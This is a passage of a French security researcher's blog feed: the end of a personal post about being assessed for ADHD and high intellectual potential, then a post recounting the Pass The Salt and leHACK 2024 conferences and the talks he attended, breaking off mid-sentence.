quoi dire bien que j'aie répété ce rendez-vous dans ma tête des dizaines de fois durant les
deux semaines précédentes. Comme l'impression d'avoir tout oublié ce que je devais
absolument dire, les sujets dont il fallait absolument parler. J'ai réussi à
exprimer les difficultés que je rencontrais, la situation actuelle relativement tendue avec
ma chérie, les différences de perception de mon travail entre moi et l'entreprise pour qui je
bosse, etc... Le premier rendez-vous (appelé anamnèse) a duré deux heures, je n'ai quasi pas
regardé la neuropsychologue et j'ai répondu tant bien que mal à ses questions.
Je lui ai raconté l'histoire en bref, un peu comme je l'ai fait dans ce billet,
elle m'a simplement dit: &amp;quot;Personnellement, ça me fait énormément penser à un TDAH.
On se retrouve dans deux semaines pour les tests !&amp;quot;.&lt;/p&gt;
&lt;p&gt;Un TDAH. Non, je n'y avais pas pensé une seule seconde. Je me rappelle avoir passé
des tests en ligne concernant le TDAH, mais ça m'avait dit que j'étais &lt;em&gt;normal&lt;/em&gt;. J'étais
tellement focus sur un possible trouble du spectre de l'autisme que j'avais laissé
le TDAH totalement de côté. Et moi qui voulais éviter les biais de confirmation...
Je me suis dit que de toute façon on verrait bien en fonction des tests.&lt;/p&gt;
&lt;p&gt;Premier test, le &lt;a class="reference external" href="https://fr.wikipedia.org/wiki/Wechsler_Adult_Intelligence_Scale"&gt;WAIS IV&lt;/a&gt;.
C'est un test psychométrique qui vise à situer l'intelligence d'un individu sur
une échelle comparative, qui se compose de différents sous-tests que l'examinateur
fait passer. Je ne détaillerai pas le contenu de ces tests ici, car cela pourrait
fausser les résultats si vous souhaitez (ou devez) le passer un jour. Je suis
toujours aussi stressé durant le test, j'ai peur que ça donne un résultat moyen.
Je fais de mon mieux et la neuropsychologue fait une rapide synthèse à la fin
des tests. Elle semble étonnée du résultat, elle commence à me
parler de &lt;em&gt;haut potentiel intellectuel&lt;/em&gt;, me demande si j'étais au courant que j'avais
&lt;em&gt;ces&lt;/em&gt; capacités. Bien sûr que non, c'est la première fois que je passe un tel test.
Et je suis perplexe, car franchement, comment pourrais-je être &lt;em&gt;haut potentiel
intellectuel&lt;/em&gt; alors que je galère avec des trucs totalement débiles ?
Pourquoi je bug dans une conversation si j'ai un QI élevé ? Je sors de ce test
avec la sensation que le &lt;em&gt;haut potentiel&lt;/em&gt; est une escroquerie sans nom, et que
je ne sais pas pourquoi on en a même parlé durant le rendez-vous.&lt;/p&gt;
&lt;p&gt;La suite des tests s'est focalisé sur le TDAH, avec le questionnaire DIVA 2. Là
pour le coup, ça m'a beaucoup plus parlé ! Il s'agit principalement de questions
concernant l'enfance mais aussi la situation actuelle, les difficultés auxquelles
on fait face et la répercussion (on parle de &amp;quot;retentissement&amp;quot;) sur le quotidien.
Je crois que quand je lui ai montré une photo du &lt;em&gt;rangement&lt;/em&gt; de mon bureau, cela
a fini de la convaincre. Je pense que si un de mes anciens collègues de Sysdream
ou Digital Security lit ce billet, il ou elle doit bien rigoler en repensant à
quoi ressemblait mon bureau ! Elle m'a aussi fait passer des tests concernant l'autisme,
à ma demande (la piste m'intéressait toujours), mais cela n'a pas été concluant,
excluant de fait la piste d'un trouble du spectre autistique.&lt;/p&gt;
&lt;p&gt;Une semaine plus tard, c'était la restitution du bilan. J'y suis allé accompagné
de ma moitié, et la neuropsychologue lui a exposé &lt;em&gt;mon cas&lt;/em&gt;. Elle a aussi insisté
sur le fait que d'après elle il n'y avait pas d'évidence d'autisme, mentionnant
quelques réponses données au test... que ma femme s'est empressée de nuancer.&lt;/p&gt;
&lt;p&gt;Au final, le bilan a révélé un &lt;em&gt;possible trouble déficitaire de l’attention sans
hyperactivité&lt;/em&gt; (donc de type &lt;em&gt;inattentif&lt;/em&gt;), et je suis a priori identifié &lt;em&gt;haut
potentiel intellectuel&lt;/em&gt;. Wahou, ça me fait une belle jambe.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="okay-mais-alors-c-est-quoi-le-tdah"&gt;
&lt;h2&gt;Okay, mais alors c'est quoi le TDAH ?&lt;/h2&gt;
&lt;p&gt;Le trouble du déficit (ou déficitaire, j'ai lu les deux) de l'attention avec ou
sans hyperactivité est un trouble qui fait partie des troubles neuro-développementaux
(TND), un ensemble de dysfonctionnements neurologiques causés par un développement
différent du cerveau. Autrement dit, le cerveau s'est développé d'une telle façon
que cela impacte des fonctions cognitives, avec des conséquences qui peuvent varier
au cours de son évolution. Ça ne &lt;em&gt;s'attrappe pas&lt;/em&gt;, on naît avec en quelque sorte.
Les causes ne sont pas certaines mais les chercheurs soupçonnent que la génétique
y jouerait un rôle prépondérant.&lt;/p&gt;
&lt;p&gt;Le TDAH est caractérisé par un déficit ou un excès d'attention (car oui, les deux
sont possibles), le cerveau TDAH étant à la recherche de neurotransmetteurs (tels
que la dopamine, la noradrénaline et la sérotonine) ainsi qu'une hyperactivité
qui peut être physique (le cliché de l'enfant qui ne tient pas en place) ou
mentale (le cerveau ne s'arrête jamais, il n'a pas de repos). Une personne TDAH
est une combinaison de déficit/excès d'attention et d'hyperactivité, qui varie en
fonction des individus. L'une peut être principalement inattentive (sans hyperactivité visible)
tandis qu'une autre principalement hyperactive.&lt;/p&gt;
&lt;p&gt;En ce qui me concerne, je serais majoritairement inattentif, et j'aurais aussi de
l'hyperactivité mentale et physique bien qu'elle soit moins marquée. Alors, comment
cela se traduit-il au quotidien ? C'est là que le bilan avec la neuropsy a été
très intéressant, car il m'a permis de comprendre que certains de mes problèmes
pourraient être liés à ce trouble. En effet, le TDAH affecte la régulation des
émotions, mais aussi les fonctions exécutives ou encore la perception du temps,
et cela a des conséquences bien visibles dans la vie de tous les jours.&lt;/p&gt;
&lt;p&gt;Personnellement, je lutte principalement contre quatre gros problèmes:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;j'oublie très régulièrement des consignes ou des choses à faire (mais littéralement 30 secondes après y avoir pensé ou que l'on me l'ait dit) ;&lt;/li&gt;
&lt;li&gt;je procrastine énormément pour les tâches n'ayant aucun intérêt, au point que ça me cause des soucis assez importants (genre santé &amp;amp; co) ;&lt;/li&gt;
&lt;li&gt;ma concentration et/ou mon attention sont très variables, ce qui rend la vie compliquée quand il s'agit de bosser ;&lt;/li&gt;
&lt;li&gt;mon estime de moi est un roller coaster, et mes humeurs peuvent varier du tout au tout très rapidement.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pour illustrer ces quelques points, je vais tenter de décrire comment ça semble
fonctionner chez moi et comment je le vis. Si vous n'êtes pas familier de ces
troubles, vous pourriez être tenté de penser qu'il s'agit d'un &lt;em&gt;manque d'effort&lt;/em&gt;
de ma part ou juste que je suis un fainéant en puissance, et je vous assure que
c'est ce dont j'étais persuadé jusqu'à très récemment.&lt;/p&gt;
&lt;p&gt;Prenons l'exemple des consignes que je zappe très régulièrement, avec un cas très
concret: la gestion de la lessive à la maison. Nous sommes à table en famille,
on discute des tâches ménagères et ma femme me fait remarquer que la lessive
s'entasse et qu'il faudrait aller s'en occuper (oui, je suis le préposé aux lessives).
J'approuve et garde ça dans un coin de ma tête, du moins j'essaie. Une fois
sorti de table, je fais tout sauf aller m'occuper de la lessive, tout simplement
parce que je n'y pense absolument plus. Ma femme me reparle de la lessive, et là
&lt;em&gt;bing&lt;/em&gt; je percute et en effet, j'avais dit que j'allais m'en occuper.
À partir de là, il y a plusieurs scénarios possible, mais le plus courant c'est
que je suis attrapé par autre chose et bien sûr je zappe totalement de m'en
occuper. Elle ne manque pas de m'en reparler en début de soirée, je lui
réponds qu'elle ne doit pas s'inquiéter, qu'une fois sorti du salon je m'en
occuperai. Devinez quoi ? Une fois sorti du salon je file
dans mon bureau et la lessive attend toujours. Après 3 jours comme ça, le linge
est vraiment en retard et je dois me le répéter en boucle (ou me
mettre des alertes sur smartphone) pour ne pas oublier de m'en occuper.
C'est comme ça toutes les semaines, mais ça peut varier: certaines semaines je
pense tout seul à gérer les lessives de temps en temps et j'arrive à le faire, d'autres ça va être
catastrophique. Le pire dans l'histoire, c'est qu'à certains moments de la journée
je me rends compte qu'il faut que je m'en occupe, mais je remets à plus tard et
ça part dans les limbes. Ça se manifeste aussi assez régulièrement sous diverses
formes: je laisse le coffre de la voiture grand ouvert durant la nuit car j'ai
zappé de le fermer, les yaourts et autres produits frais dans l'entrée car je
me suis interrompu dans le rangement des courses, etc... Cela peut être expliqué
par un déficit d'attention, le fait de penser à autre chose à un moment et de
basculer toute son attention sur cette nouvelle chose, dégageant ce qu'on essayait
de garder en tête.&lt;/p&gt;
&lt;p&gt;Le fait de remettre des tâches au lendemain est le propre de la procrastination.
Et je suis très fort en procrastination, par ailleurs. J'ai de la chance, cela
ne m'impacte pas énormément dans mon travail car je bosse dans un domaine qui
me passionne, et généralement les tâches à réaliser sont plus qu'intéressantes !
Pour le reste par contre, c'est une autre histoire. Prendre rendez-vous chez le
coiffeur peut littéralement me demander plusieurs semaines: je sais que je dois
prendre rendez-vous, je sais que plus j'attends et plus c'est urgent, mais je
n'arrive tout simplement pas à le faire. Quand je pense au fait que je dois
prendre un rendez-vous, j'angoisse en partie par le fait de devoir passer un
appel et le fait de ne pas pouvoir dans l'immédiat appeler (ou prendre un
rendez-vous en ligne). Dans certains cas, j'arrive à  me mettre un (ou deux)
rappels sur le smartphone, remettant la tâche au lendemain tout en sachant que
les rappels marchent de temps en temps. La plupart du temps, c'est juste remis
à plus tard, si je n'oublie pas. Fun fact: en août dernier, j'ai réussi à
appeler le salon de coiffure un jour avant qu'il ne ferme pendant 3 semaines
pour congés d'été. Rendez-vous fut pris pour la rentrée (mais j'avais réussi
à appeler !). Comprenez bien: je &lt;strong&gt;sais&lt;/strong&gt; que je dois prendre rendez-vous,
je &lt;strong&gt;sais&lt;/strong&gt; que je peux le faire (je connais la procédure à suivre, le discours
à tenir et les informations à fournir), je sais que ce n'est pas sorcier à faire
et que ça semble complètement débile de bloquer dessus, mais &lt;strong&gt;ça juste bloque&lt;/strong&gt;.
Et je ne parle pas des rendez-vous médicaux, qui eux n'ont pas de caractère
urgent (les cheveux longs au bout d'un moment je ne les supporte plus). Ce qui
fait qu'il me faut non pas quelques semaines mais quelques années pour me décider
à prendre rendez-vous pour un souci médical. Appeler un dentiste ou un médecin
généraliste ne sera possible que s'il y a une urgence vitale. Dans les autres
cas, ça sera une galère monumentale. Cela pourrait être expliqué par un trouble
des fonctions exécutives, encore une fois assez caractéristique du TDAH.&lt;/p&gt;
&lt;p&gt;Côté attention/motivation au travail, c'est assez variable. J'ai l'habitude de dire à mon
manager que je suis efficace 50% du temps, et que les 50% restant je suis juste
bon à rien. Ce qui l'étonne toujours car j'arrive à presque tout le temps boucler
mes missions, livrables ou autre travail en temps et en heure, ce que la neuropsy
justifie par mes capacités à focus (voire &lt;em&gt;hyperfocus&lt;/em&gt;) sur une tâche précise, mais
seulement par moment. Ce qui expliquerait que je sois capable de boucler mon
travail dans les délais, je suis donc une personne chanceuse. En pratique, je
m'en veux assez souvent de ne pas arriver à me lancer sur une tâche que je dois
faire, en particulier durant ces journées où je me retrouve à perdre du temps sur tout autre
chose.
Oui, l'&lt;em&gt;hyperfocus&lt;/em&gt; peut aussi vous pourrir la vie: récemment il a fallu que je regarde
toutes les vidéos de réaction aux nouvelles chansons de Linkin Park ainsi que les vidéos en
question plusieurs fois bien sûr, ce qui m'a pris entre 3 et 4 heures, sans raison
apparente si ce n'est qu'ils ont une nouvelle &lt;em&gt;lead singer&lt;/em&gt; (Emily Armstrong).
Des fois, c'est une journée de perdue à errer sur l'ordinateur sans arriver
à faire quoique ce soit. Et ça donne un sentiment très désagréable d'imposteur,
d'escroc, et ça impacte forcément l'estime de soi.&lt;/p&gt;
&lt;p&gt;Pour terminer sur les exemples, tant qu'on en est à parler estime de soi, causons
un peu du &lt;em&gt;roller-coaster&lt;/em&gt; de l'humeur. Je bosse dans la cybersécurité et une
partie de mon boulot consiste à chercher des vulnérabilités dans des produits,
et de les exploiter. C'est quelque chose que j'apprécie particulièrement, et je
prends ça la plupart du temps comme un challenge. Lorsque je suis sur un audit,
je peux passer d'un état euphorique car j'ai trouvé une vuln au quinzième sous-sol
quand je n'arrive à rien, ou que je me suis trompé. Je vais être super content le
lundi, et à moitié dépressif le mardi. Et à nouveau super content le jeudi car
j'aurais débloqué une situation. Un &lt;em&gt;roller-coaster&lt;/em&gt; d'émotions, qui déteint
généralement sur la vie de famille. Mais bon, j'arrive habituellement à passer
outre, à relativiser au bout d'un moment et atténuer les effets. Une possible
mauvaise gestion des émotions causée par le TDAH, d'après la spécialiste.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="un-nouveau-regard-sur-le-passe"&gt;
&lt;h2&gt;Un nouveau regard sur le passé&lt;/h2&gt;
&lt;p&gt;Quand on commence à soupçonner un possible trouble neurologique et qu'on se rend compte
que c'est peut-être ça qui nous cause tout un lot de soucis, on se prend rapidement
à interpréter le passé au regard de ce trouble. Tous ces trucs qui, lorsque j'étais
plus jeune me semblaient &lt;em&gt;bizarres&lt;/em&gt; mais pour lesquels je n'avais pas d'explications,
étaient peut-être simplement causés par ce trouble ? Toutes les galères dans le
monde professionnel, les erreurs et les incompréhensions, auraient-elles une
explication logique ? On analyse alors son passé au prisme de ces hypothèses,
et on tente de faire des liens (à tort, des fois).&lt;/p&gt;
&lt;p&gt;Le plus simple a été de reprendre à partir du collège/lycée, car c'était relativement
frais dans ma mémoire. Les oublis de matériel de cours, de leçons, les signatures
des parents imitées sur les devoirs en tout début de cours car j'avais simplement
zappé de le leur faire signer à la maison (un graffiti et hop, problème réglé); la fois
où la prof d'anglais en a eu marre de mon énième oubli et m'a sorti un &amp;quot;silly you !&amp;quot;
que je n'ai pas compris et que ma voisine m'a expliqué, ou encore les moments où
j'agaçais les voisins en tapant de façon rythmée sur le pied de la table avec ma
chaussure... chose que je fais encore maintenant lorsque je bosse dans mon bureau
à la maison. Et je passe les fois où je me suis fait attraper en cours à dessiner
sur une feuille alors qu'on travaillait sur tout autre chose, et ce particulièrement
en français et en philosophie, deux matières qui ne m'intéressaient pas du tout.
Ou alors je bossais sur des programmes et algorithmes sur lesquels je me prenais
la tête. Et puis je parle vite, très vite même des fois. Depuis tout petit. Au
point que certaines fois, il y a &lt;a class="reference external" href="https://passthesalt.ubicast.tv/videos/2024-prism-a-light-beam-disassembler/"&gt;tellement de trucs que je veux dire que ça
cafouille&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Côté professionnel, ça a été encore plus flagrant, surtout au regard de mes derniers
postes. J'ai déjà mentionné dans ce billet l'état catastrophique de mon bureau, au
point que l'on m'a demandé plusieurs fois de vraiment le ranger car des clients ou
des grands chefs allaient passer dans les locaux et que mon bureau faisait vraiment
tâche (et c'est rien de le dire). J'avais la place pour poser mon laptop et une souris,
et le reste n'était qu'empilement de papier ou de matériel, mais malgré tout je
m'y retrouvais dans tout ce bazar ... ou pas. Certains trucs finissaient par être
enfouis et je ne remettais la main dessus que lors des très rares sessions de
rangement. Tous ces jours où je n'arrivais pas à avancer mon travail, où je me perdais
dans des projets qui n'ont rien à voir ou pire, sur des vidéos Youtube. Ces moments
où j'avais trop de choses à faire que je ne savais pas par quoi commencer, et qui me
bloquaient purement et simplement. Les jours où j'avais des réunions ou rendez-vous
importants et pendant lesquels je n'étais pas fichu de me lancer dans une tâche
gourmande en temps ou en attention (ça peut me ruiner une demie-journée sans problème).
Ces réunions où je lâchais le fil car ça n'avançait pas assez vite, ou alors où il était
plus facile de parler par écrit que d'activer le micro et de prononcer des mots.&lt;/p&gt;
&lt;p&gt;Alors quoi, je ne serais pas juste un gros étourdi gaffeur et paresseux ? Tout
ça pourrait s'expliquer au travers d'un trouble ? Ça fait quand même une sensation
bizarre: je me sens soulagé et coupable en même temps. Je suis soulagé car j'ai
passé tout ce temps à me demander comment faisaient les autres, comment ils arrivaient
à assurer là où pour moi ça semblait compliqué. Et que de me dire que je n'en faisais
pas exprès, que c'est juste là et que je n'y pouvais rien, ça fait du bien. Mais
coupable aussi en même temps car cela peut sembler désormais facile, comme une
excuse, de dire que tel oubli ou telle difficulté est juste &amp;quot;normale&amp;quot; car causé(e)
par le trouble en question. En réalité, il m'est toujours difficile de juger à
quel point une tâche spécifique m'est plus difficile à réaliser que pour une
personne neurotypique.&lt;/p&gt;
&lt;p&gt;Et puis il y a ces particularités que j'ai qui ne rentrent pas forcément dans le
&lt;em&gt;moule&lt;/em&gt; du TDAH. Depuis tout jeune, je suis &lt;em&gt;réchauffé&lt;/em&gt; comme disent mes parents. Je
ne porte que des t-shirts toute l'année, les pulls et les sweat-shirts me donnent
bien trop chaud. Mon thermostat est déréglé, d'après ce que j'ai compris. Je ne
porte d'ailleurs que certains jeans et t-shirts, et ce depuis au moins le collège.
Je suis le désespoir de ma femme qui m'offre des t-shirts geeks en pensant me
faire plaisir, mais que je ne mets pas car la &lt;em&gt;sensation&lt;/em&gt; de ces derniers m'est
vraiment désagréable. Et qui du coup sont redistribués dans la famille. Et je
ne parle même pas des soucis de couverts: toutes ces fourchettes aux dents tordues
que je dois redresser pour ne pas que ça m'agresse la bouche, ou ces petites cuillères
que je sélectionne méticuleusement en fonction de leur forme, de leur manche,
car cela peut vraiment m'agacer d'avoir une cuillère trop incurvée ou aux bords
irréguliers. Ce dont ma famille a découvert l'existence et se moque allégrement
depuis pas très longtemps, par ailleurs.&lt;/p&gt;
&lt;p&gt;Tout cela serait donc potentiellement causé par un trouble neuro, et je ne suis
pas bizarre mais juste différent ? On m'a beaucoup parlé de spectre et de similitudes
entre plusieurs troubles, et en effet c'est ce que je commence à comprendre. C'est
comme un puzzle dont les pièces commenceraient à s'emboîter, et où l'on distinguerait
une forme générale. Et ça fait très bizarre.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="l-apres-bilan"&gt;
&lt;h2&gt;L'après bilan&lt;/h2&gt;
&lt;p&gt;Il m'a fallu plusieurs mois pour accepter le fait que j'ai un probable TDAH, et
que la grande majorité des problèmes que je rencontrais pouvait être causé par
un trouble neuro-développemental. Je dis bien &lt;em&gt;probable&lt;/em&gt; car il n'y a eu aucune
validation par un psychiatre de ce diagnostic.&lt;/p&gt;
&lt;p&gt;Quand j'ai échangé sur le sujet avec des personnes concernées, on m'a bien fait
comprendre que tant qu'un psychiatre n'a pas validé le diagnostic, il n'y a juste
pas de diagnostic et donc aucune certitude que ce soit bien cela. C'est assez
frustrant car la neuropsychologue, pour lui avoir parlé de mes doutes suite à
mon bilan, est quant à elle convaincue de la présence de ce trouble chez moi,
tandis que je doute encore et toujours. Non pas que je pense qu'il s'agisse
d'autre chose, non, juste qu'il y a encore quelques éléments qui ne rentrent pas
dans le tableau du TDAH (bien que certains oui, sans trop de doute). Après, je ne
suis pas expert ni neuropsychologue, donc mon avis ne vaut pas grand chose.&lt;/p&gt;
&lt;p&gt;Avec du recul, je me pose de réelles questions quant à la nécessité d'un diagnostic.
J'avais entamé cette démarche pour savoir, pour avoir des réponses concernant
mes difficultés et ma gestion particulière des émotions, et non pas un &amp;quot;peut-être&amp;quot;
qui laisse encore place au doute. Mais quand je vois la difficulté que c'est de
trouver des professionnels qui connaissent ces sujets, les temps d'attente (on
parle de plusieurs années !) aux Centres Ressources Autisme (CRA) dans le cadre du Trouble du Spectre Autistique (TSA) par exemple,
ou encore les spécialistes qui n'acceptent pas de nouveaux patients, je me dis qu'au
vu de ma situation cela ne vaut peut-être pas la peine d'aller allonger les listes
d'attente juste parce que j'ai &lt;em&gt;besoin&lt;/em&gt; de savoir. D'autres personnes
souffrent bien plus de ces troubles et ont &lt;em&gt;réellement&lt;/em&gt; besoin d'aide pour
pouvoir juste vivre, alors qu'en ce qui me concerne je ne m'en sors pas trop mal.&lt;/p&gt;
&lt;p&gt;À tous ceux qui sont dans une démarche diagnostique, que ce soit pour un TDAH,
un TSA ou autre qui vous pourrit la vie, vous avez vraiment un courage de fou 😖.&lt;/p&gt;
&lt;p&gt;Petite liste de ressources pour approfondir si le sujet vous intéresse:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Le site Hypers/Supers: &lt;a class="reference external" href="https://www.tdah-france.fr/-Le-TDAH-en-bref-.html"&gt;https://www.tdah-france.fr/-Le-TDAH-en-bref-.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Une vidéo de Psykocouac expliquant simplement le TDAH: &lt;a class="reference external" href="https://www.youtube.com/watch?v=mex4n_uQ41c"&gt;https://www.youtube.com/watch?v=mex4n_uQ41c&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Des témoignages de plusieurs personnes concernées: &lt;a class="reference external" href="https://www.youtube.com/watch?v=z05yXOpU5S4"&gt;https://www.youtube.com/watch?v=z05yXOpU5S4&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Un compte sur X qui poste des mèmes relativement parlant (en anglais): &lt;a class="reference external" href="https://x.com/adhdforreal"&gt;https://x.com/adhdforreal&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</content><category term="Humeur"/><category term="humeur"/></entry><entry><title>Une folle semaine à Pass The Salt &amp; leHACK</title><link href="https://virtualabs.fr/humeur/pts24-lehack24-folle-semaine" rel="alternate"/><published>2024-07-08T00:00:00+02:00</published><updated>2024-07-08T00:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2024-07-08:/humeur/pts24-lehack24-folle-semaine</id><summary type="html">&lt;img alt="" src="/images/2024-pts-lehack/lehack24-stage.jpg" /&gt;
&lt;p&gt;Le début du mois de juillet fut rude, car je devais présenter plusieurs talks
lors de deux conférences se déroulant la même semaine, Pass The Salt et leHACK.
Ce qui signifie un déplacement à Lille suivi de Paris pour enfin rentrer à la
maison dans un état de fatigue indescriptible …&lt;/p&gt;</summary><content type="html">&lt;img alt="" src="/images/2024-pts-lehack/lehack24-stage.jpg" /&gt;
&lt;p&gt;Le début du mois de juillet fut rude, car je devais présenter plusieurs talks
lors de deux conférences se déroulant la même semaine, Pass The Salt et leHACK.
Ce qui signifie un déplacement à Lille suivi de Paris pour enfin rentrer à la
maison dans un état de fatigue indescriptible. Ce fut une semaine folle, riche
en rencontres mais aussi beaucoup de trajets en train et pour une fois, pour
une fois pas une minute de retard dans les horaires SNCF (ce qui, pour ceux
qui me connaissent, est un exploit formidable) !&lt;/p&gt;
&lt;div class="section" id="pass-the-salt"&gt;
&lt;h2&gt;Pass The Salt&lt;/h2&gt;
&lt;p&gt;La conférence Pass The Salt se tient depuis 2018 à Lille, à l'école Polytechnique
de Lille précisemment. Elle dure trois jours, propose une sélection de talks et
de workshops en anglais, et reprend la tradition des présentations courtes
improvisées (ou &amp;quot;rumps&amp;quot;) du SSTIC. J'avais proposé un talk sur la conception
d'un désassembleur pour la machine virtuelle Erlang BEAM, qui a été accepté et
que j'ai donc donné le mercredi, avec un démarrage bien loupé qui a été
remarqué. Je suppose que ça sera sur la vidéo en ligne, et s'ajoutera à
d'autres prestations lors desquelles je n'ai que moyennement assuré (celle d'un
SSTIC avec la projection qui ne fonctionnait pas était jusqu'à ce jour la plus
malaisante en ce qui me concerne, peut-être désormais détrônée). Il n'y a pas
mort d'homme, mais c'est toujours mieux de bien lancer un talk.&lt;/p&gt;
&lt;img alt="Conférence d'ouverture de Pass The Salt 2024" src="/images/2024-pts-lehack/pts24-welcome.jpg" /&gt;
&lt;p&gt;Pass The Salt a aussi été l'occasion de revoir des connaissances, de discuter
cyber-sécurité et de troller comme dans tout bon event qui se respecte. Les
conférences c'est aussi ça, rencontrer des personnes et échanger, découvrir
de nouveaux domaines ou de nouvelles approches.&lt;/p&gt;
&lt;p&gt;Plusieurs talks ont piqué ma curiosité, et le premier fut celui de Xavier
Mertens intitulé &lt;a class="reference external" href="https://cfp.pass-the-salt.org/media/pts2024/submissions/A8S8VQ/resources/PTS2024-TALK-02-HA_YJwZNUn.pdf"&gt;HA = Not &amp;quot;High Availibility&amp;quot; But &amp;quot;Hunting Automation&amp;quot;&lt;/a&gt;
dans lequel l'auteur explique ses différentes recettes pour automatiser
la collecte de samples, leur envoi automatisés à des services tiers et le
triage de ces derniers, le tout à base de code Python. Xavier Mertens ne
se prétend pas développeur mais a pu ainsi automatiser une bonne partie
des tâches et peut désormais se concentrer sur l'essentiel, à savoir
l'analyse des artefacts qui sont mis en avant par son automatisation !&lt;/p&gt;
&lt;p&gt;Le &lt;a class="reference external" href="https://cfp.pass-the-salt.org/media/pts2024/submissions/J7LUSM/resources/pts24_KxUpAQq.pdf"&gt;talk d'Alessandro Di Federico concernant le décompilateur *rev.ng*&lt;/a&gt;
et l'idée d'utiliser le TCG de QEMU pour faire de la décompilation état aussi
très intéressant ! Pour avoir plongé dans le code de QEMU et notamment du
&lt;em&gt;Tiny Code Generator&lt;/em&gt; de Fabrice Bellard lorsque je bossais sur l'ajout du
support du RH850 de Renesas dans &lt;em&gt;Unicorn&lt;/em&gt;, je trouve en effet leur approche
très pertinente, bien qu'à mon avis le passage entre la représentation
intermédiaire du TCG et celle de LLVM ne doit pas forcément être évident.
Au final, &lt;em&gt;rev.ng&lt;/em&gt; supporte 6 architectures CPU différentes (supportées
aussi par QEMU, de fait), expose une simple API qui permet de le piloter
et intègre des outils pour charger des fichiers ELF, PE, Mach-O ou encore
les fichiers IDB d'IDA Pro.&lt;/p&gt;
&lt;p&gt;Enfin, le talk de Davide Toldo &lt;a class="reference external" href="https://cfp.pass-the-salt.org/media/pts2024/submissions/MZV9LY/resources/PTS2024-TALK-16-EMFI-Attacks_QYNJKLt.pdf"&gt;Affordable EMFI Attacks Against Modern IoT
Chips&lt;/a&gt; démontrait qu'avec un investissement assez faible et grâce à des
outils open-source, il est possible de réaliser facilement des injections
de faute par induction de champ électro-magnétique. L'outillage est accessible,
nécessite quelques PCBs sur mesure et une CNC, mais les résultats sont très
probants !&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="lehack"&gt;
&lt;h2&gt;leHACK&lt;/h2&gt;
&lt;p&gt;Après le second jour de talks et juste avant les &lt;em&gt;rumps&lt;/em&gt;, je pars à la gare
direction Paris pour avoir le temps de me poser à l'hôtel et souffler un peu.
Le repas des speakers est d'ailleurs prévu le jeudi soir. Ce fut la course pour
aller faire le check-in à l'hôtel, je croise au passage des membres de l'orga
ainsi que des speakers se préparant à partir pour le Hang'Art, l'endroit où se
déroule le dîner des speakers. Après un rafraîchissement à l'hôtel, je retrouve
les gens de HZV et les speakers de cette édition de leHACK, dont certains que
je n'avais pas vu depuis longtemps: Deral Heiland et Jayson Street notamment.
La soirée se termine assez tôt, tout le monde devant aller se reposer pour être
paré pour les deux jours et demi de conférence qui arrivent.&lt;/p&gt;
&lt;p&gt;Car oui, leHACK a lieu du vendredi au dimanche matin, et c'est un mini-marathon
à tenir. En tant que speaker, j'avais proposé deux sujets totalement opposés en
espérant que le comité de programme se décide sur l'un ou l'autre. En fin de
compte, ce sont les deux sujets qui ont été acceptés et il m'a fallu préparer
deux talks, l'un pour le vendredi et l'autre le samedi. Ce n'est pas que je
n'apprécie pas de préparer et faire des talks, mais sincèrement des fois je me
demande pourquoi je fais tout cela en sachant pertinemment que mon organisation
personnelle est aux fraises (même si ça ne se voit pas) et que je vais terminer
les slides la veille ou au pire une heure avant le talk. Surtout qu'à côté je
gère aussi une animation le samedi soir, un quizz interactif avec le public
appelé &amp;quot;Qui Veut Gagner des Bitcoins ?&amp;quot;. Encore du boulot de préparation en
plus.&lt;/p&gt;
&lt;p&gt;Le premier talk que je donne le vendredi est similaire à celui donné le mercredi
précédent à Pass The Salt, sauf qu'il est en français et qu'il contient un peu
plus de contenu car le temps alloué est plus conséquent. J'en profite pour y
inclure une démonstration live, ça fait toujours plaisir de prendre le risque
de tout louper en direct 😅. Les retours sont plutôt positifs, bien que je sois
quasi certain que le sujet n'a pas forcément passionné car il est relativement
de niche (on parle de désassemblage et d'architecture peu commune). Cependant,
j'ai eu le plaisir de rencontrer des personnes d'Ericsson après le talk, avec
qui j'ai pu échanger sur la recherche que j'avais effectuée !&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="des-talks-techniques-et-non-techniques"&gt;
&lt;h2&gt;Des talks techniques et non-techniques&lt;/h2&gt;
&lt;p&gt;J'ai aussi pu assister aux talks du vendredi, dont certains que j'attendais
avec impatience. La présentation de K. Melton, &lt;a class="reference external" href="https://lehack.org/fr/track/phishing-for-potential-the-rtfm-guide-to-hacking-your-brain-frame/"&gt;Phishing for potential: the 'RTFM'
guide to hacking your brain-frame&lt;/a&gt;, était l'un d'entre eux, et je n'ai pas été
déçu. Elle aborde dans sa présentation la manière dont les talents de la cyber-
sécurité sont recrutés, et en particulier ceux possédant comme elle un ou
plusieurs handicaps invisibles. Les handicaps invisibles sont, comme elle l'a
bien expliqué lors de son intervention, indécelables de prime abord mais posent
des problèmes au niveau organisationnel, social et comportemental pour la
personne concernée. Elle a par ailleurs mis en avant les caractéristiques
essentielles d'un environnement de travail sécurisé (au sens &lt;em&gt;safety&lt;/em&gt;) pour ces
profils tout comme la nécessité pour ses derniers de rechercher ces types
d'environnement afin de ne pas finir en burn-out, ou pire. Un talk qui ne traitait
pas de technique mais beaucoup plus de l'humain, de neurodiversité et de
comment trouver sa place et s'épanouir malgré des difficultés. Et ça a fait
mouche, certaines personnes du public s'y retrouvant et insistant qu'il
devrait y avoir plus de talks comme celui-ci.&lt;/p&gt;
&lt;img alt="K. Melton à leHACK 2024" src="/images/2024-pts-lehack/kmelt-talk.jpg" /&gt;
&lt;p&gt;La présentation de Jessie sur la &lt;a class="reference external" href="https://lehack.org/fr/track/decouverte-du-groupe-apt-c36-sur-les-reseaux-dune-profession-liberale-reglementee/"&gt;découverte du groupe APT-C36 sur les réseaux
d'une profession libérale réglementée&lt;/a&gt;
était l'occasion d'avoir un retour d'expérience sur une investigation inforensique
